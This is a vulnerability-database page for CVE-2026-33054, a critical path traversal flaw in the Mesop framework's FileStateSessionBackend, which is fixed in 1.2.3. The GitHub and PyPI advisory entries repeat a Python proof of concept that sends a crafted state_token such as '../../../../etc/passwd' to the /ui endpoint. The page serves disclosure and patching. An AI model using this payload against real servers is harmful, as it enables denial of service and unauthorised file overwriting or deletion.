Vulnerability-Lookup

CVE-2026-33054 (GCVE-0-2026-33054)

Vulnerability from cvelistv5 – Published: 2026-03-20 06:57 – Updated: 2026-03-20 13:50

Title

Mesop: Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

Summary

Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.

Severity

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-20 13:50 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/mesop-dev/mesop/security/advis…	x_refsource_CONFIRM
https://github.com/mesop-dev/mesop/commit/c6b382f…	x_refsource_MISC
https://github.com/mesop-dev/mesop/releases/tag/v1.2.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
mesop-dev	mesop	Affected: < 1.2.3

Show details on NVD website

JSON

To clipboard

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EUVD-2026-54788

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-03 10:48

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-03T10:48:29.225843+00:00",
  "id": "EUVD-2026-54788"
}

FKIE_CVE-2026-33054

Vulnerability from fkie_nvd - Published: 2026-03-20 07:16 - Updated: 2026-06-17 10:36

Severity

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b	Patch
security-advisories@github.com	https://github.com/mesop-dev/mesop/releases/tag/v1.2.3	Release Notes
security-advisories@github.com	https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	mesop-dev	mesop	*

JSON

To clipboard

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  "affected": [
    {
      "affectedData": [
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          "product": "mesop",
          "vendor": "mesop-dev",
          "versions": [
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              "status": "affected",
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      "value": "Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3."
    },
    {
      "lang": "es",
      "value": "Mesop es un framework de interfaz de usuario basado en Python que permite a los usuarios construir aplicaciones web. Las versiones 1.2.2 e inferiores contienen una vulnerabilidad de salto de ruta que permite a cualquier usuario que suministre un state_token no confiable a trav\u00e9s de la carga \u00fatil del flujo de la interfaz de usuario dirigirse arbitrariamente a archivos en el disco bajo el backend de tiempo de ejecuci\u00f3n est\u00e1ndar basado en archivos. Esto puede resultar en denegaci\u00f3n de servicio de la aplicaci\u00f3n (a trav\u00e9s de bucles de bloqueo al leer archivos de destino que no son msgpack como configuraciones), o manipulaci\u00f3n arbitraria de archivos. Esta vulnerabilidad expone gravemente los sistemas alojados que utilizan FileStateSessionBackend. Actores maliciosos no autorizados podr\u00edan interactuar con cargas \u00fatiles arbitrarias sobrescribiendo o eliminando expl\u00edcitamente recursos de servicio subyacentes de forma nativa fuera de los l\u00edmites de la aplicaci\u00f3n. Este problema ha sido solucionado en la versi\u00f3n 1.2.3."
    }
  ],
  "id": "CVE-2026-33054",
  "lastModified": "2026-06-17T10:36:52.323",
  "metrics": {
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GHSA-8QVF-MR4W-9X2C

Vulnerability from github – Published: 2026-03-18 20:01 – Updated: 2026-03-20 21:23

Summary

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

Details

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.2.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mesop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:01:21Z",
    "nvd_published_at": "2026-03-20T07:16:13Z",
    "severity": "CRITICAL"
  },
  "details": "#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user\u0027s `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -\u003e Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython\u0027s standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {\u0027Content-Type\u0027: \u0027application/x-protobuf\u0027}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.",
  "id": "GHSA-8qvf-mr4w-9x2c",
  "modified": "2026-03-20T21:23:22Z",
  "published": "2026-03-18T20:01:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33054"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mesop-dev/mesop"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/releases/tag/v1.2.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion"
}

PYSEC-2026-411

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:22

Details

Summary

Details

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Impacted products

Name	purl
mesop	pkg:pypi/mesop

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mesop",
        "purl": "pkg:pypi/mesop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.10.0",
        "0.10.0rc0",
        "0.10.0rc1",
        "0.10.0rc2",
        "0.11.0",
        "0.11.0rc0",
        "0.11.1",
        "0.12.0",
        "0.12.0rc0",
        "0.12.1",
        "0.12.10b1",
        "0.12.10b2",
        "0.12.10b3",
        "0.12.10rc1",
        "0.12.1rc0",
        "0.12.2",
        "0.12.3",
        "0.12.3rc0",
        "0.12.4",
        "0.12.4rc0",
        "0.12.5",
        "0.12.5b1",
        "0.12.5rc1",
        "0.12.6",
        "0.12.6rc1",
        "0.12.7",
        "0.12.7b1",
        "0.12.7rc1",
        "0.12.8",
        "0.12.8b1",
        "0.12.8rc1",
        "0.12.9",
        "0.12.9rc1",
        "0.13.0",
        "0.13.0rc1",
        "0.14.0",
        "0.14.1",
        "0.14.1rc1",
        "0.14.2b1",
        "0.14.2b2",
        "0.14.2rc1",
        "0.14rc1",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.6.0",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.8.0rc0",
        "0.9.0",
        "0.9.0rc1",
        "0.9.1",
        "0.9.1rc1",
        "0.9.2",
        "0.9.2rc1",
        "0.9.3",
        "0.9.3rc0",
        "0.9.4",
        "0.9.4rc0",
        "0.9.5",
        "0.9.5rc0",
        "1.0.0",
        "1.0.0rc1",
        "1.0.0rc2",
        "1.0.1",
        "1.0.1rc1",
        "1.1.0",
        "1.1.0rc1",
        "1.1.1",
        "1.1.1rc1",
        "1.1.1rc2",
        "1.1.1rc3",
        "1.2.0",
        "1.2.0rc1",
        "1.2.1",
        "1.2.1rc1",
        "1.2.2",
        "1.2.2rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33054",
    "GHSA-8qvf-mr4w-9x2c"
  ],
  "details": "#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\n When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user\u0027s `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -\u003e Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython\u0027s standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n \n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\n headers = {\u0027Content-Type\u0027: \u0027application/x-protobuf\u0027}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n )\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\n print(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.",
  "id": "PYSEC-2026-411",
  "modified": "2026-07-01T20:22:57.656652Z",
  "published": "2026-06-29T11:50:44.967175Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33054"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mesop-dev/mesop"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/releases/tag/v1.2.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/mesop"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8qvf-mr4w-9x2c"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-33054 (GCVE-0-2026-33054)

EUVD-2026-54788

FKIE_CVE-2026-33054

GHSA-8QVF-MR4W-9X2C

Summary

Details

PoC

Impact

PYSEC-2026-411

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour